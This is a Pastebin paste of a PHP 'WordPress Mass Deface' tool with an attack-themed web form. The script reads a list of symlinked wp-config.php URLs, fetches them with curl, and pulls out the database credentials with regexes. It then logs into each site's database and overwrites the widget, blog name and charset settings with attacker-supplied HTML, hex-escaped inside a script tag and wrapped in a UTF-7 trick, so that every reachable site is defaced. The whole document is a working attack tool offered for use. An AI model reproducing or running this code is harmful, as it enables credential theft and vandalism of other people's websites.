Advertisement
Muhammad_Bilal

Wordpress Mass Deface PHP Script

Feb 11th, 2014
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.42 KB | None | 0 0
  1.  
  2.  
  3. __  __      _       _ _                    ___                  
  4. \ \/ /_ __ | | ___ (_) |_ ___ _ __ ___    / __\ __ _____      __
  5.  \  /| '_ \| |/ _ \| | __/ _ \ '__/ __|  / / | '__/ _ \ \ /\ / /
  6. /  \| |_) | | (_) | | ||  __/ |  \__ \ / /__| | |  __/\ V  V /
  7. /_/\_\ .__/|_|\___/|_|\__\___|_|  |___/ \____/_|  \___| \_/\_/  
  8.     |_|    
  9.  
  10. <title>Wordpress MassDeface</title>
  11. <style>
  12. body
  13. {
  14.         background: #0f0e0d;
  15.         color: #FF9933;
  16.         padding: 0px;
  17. }
  18. a:link, body_alink
  19. {
  20.         color: #FF9933;
  21.         text-decoration: none;
  22. }
  23. a:visited, body_avisited
  24. {
  25.         color: #FF9933;
  26.         text-decoration: none;
  27. }
  28. a:hover, a:active, body_ahover
  29. {
  30.         color: #FFFFFF;
  31.         text-decoration: none;
  32. }
  33. td, th, p, li,table
  34. {
  35.      
  36.         background: #2e2b28;
  37.         border:1px solid #524f46;
  38. }
  39. input
  40. {
  41.         border: 1px solid;
  42.         cursor: default;
  43.      
  44.         overflow: hidden;
  45.         background: #2e2b28;
  46.         color: #ffffff;
  47. }textarea
  48. {
  49.         border: 1px solid;
  50.         cursor: default;
  51.      
  52.         overflow: hidden;
  53.         background: #2e2b28;
  54.         color: #ffffff;
  55. }
  56. button
  57. {
  58.         border: 1px solid;
  59.         cursor: default;
  60.      
  61.         overflow: hidden;
  62.         background: #2e2b28;
  63.         color: #ffffff;
  64. }
  65. </style>
  66. </head>
  67.  
  68. <body bgcolor="black">
  69. <center>
  70. <pre>
  71. __          __      __  __                 _____        __            
  72. \ \        / /     |  \/  |               |  __ \      / _|            
  73.  \ \  /\  / / __   | \  / | __ _ ___ ___  | |  | | ___| |_ __ _  ___ ___
  74.   \ \/  \/ / '_ \  | |\/| |/ _` / __/ __| | |  | |/ _ \  _/ _` |/ __/ _ \
  75.    \  /\  /| |_) | | |  | | (_| \__ \__ \ | |__| |  __/ || (_| | (_|  __/
  76.     \/  \/ | .__/  |_|  |_|\__,_|___/___/ |_____/ \___|_| \__,_|\___\___|
  77.            | |                                                        
  78.            |_|                                                        
  79. </pre>
  80. </center>
  81. <form method="POST" action="" >
  82. <center>
  83. <table border='1'><tr><td>List of All Symlink</td><td>
  84. <input type="text" name="url" size="100" value="list.txt"></td></tr>
  85. <tr><td>Index</td><td>
  86. <textarea name="index" cols='50' rows='10' ></textarea></td></tr></table>
  87. <br><br><input type="Submit" name="Submit" value="Submit">
  88. <input type="hidden" name="action" value="1"></form>
  89. </center>
  90. <?
  91. set_time_limit(0);
  92. if ($_POST['action']=='1'){
  93. $url=$_POST['url'];
  94. $users=@file($url);
  95.  
  96.  
  97. if (count($users)<1) exit("<h1>No config found</h1>");
  98. foreach ($users as $user) {
  99. $user1=trim($user);
  100. $code=file_get_contents2($user1);
  101. preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
  102. $db=$b1[1][0];
  103. preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
  104. $user=$b2[1][0];
  105. preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
  106. $db_password=$b3[1][0];
  107. preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
  108. $host=$b4[1][0];
  109. preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
  110. $p=$b5[1][0];
  111.  
  112.  
  113. $d=@mysql_connect( $host, $user, $db_password ) ;
  114. if ($d){
  115. @mysql_select_db($db );
  116. $source=stripslashes($_POST['index']);
  117. $s2=strToHex(($source));
  118. $s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
  119. $ls=strlen($s)-2;
  120. $sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
  121. mysql_query($sql) ;
  122. $sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
  123. mysql_query($sql) ;
  124. if (function_exists("mb_convert_encoding") )
  125. {
  126. $source2 = mb_convert_encoding('</title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-7');
  127. $source2=mysql_real_escape_string($source2);
  128. $sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
  129. @mysql_query($sql) ; ;
  130. $sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-7' WHERE `option_name` = 'blog_charset';";
  131. @mysql_query($sql) ; ;
  132. }
  133. $aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
  134. $siteurl=@mysql_fetch_array($aa) ;
  135. $siteurl=$siteurl['option_value'];
  136. $tr.="$siteurl\n";
  137. mysql_close();
  138. }
  139. }
  140. if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
  141. }
  142. function strToHex($string)
  143. {
  144.     $hex='';
  145.     for ($i=0; $i < strlen($string); $i++)
  146.     {
  147.         if (strlen(dechex(ord($string[$i])))==1){
  148.         $hex .="%0". dechex(ord($string[$i]));
  149.                 }
  150.                 else
  151.                 {
  152.                 $hex .="%". dechex(ord($string[$i]));
  153.                 }
  154.     }
  155.     return $hex;
  156. }
  157.  
  158. function file_get_contents2($u){
  159.  
  160.         $ch = curl_init();
  161.     curl_setopt($ch,CURLOPT_URL,$u);
  162.         curl_setopt($ch, CURLOPT_HEADER, 0);  
  163.    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  164.     curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
  165.             $result = curl_exec($ch);
  166.         return $result ;
  167.         }
  168.      
  169. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement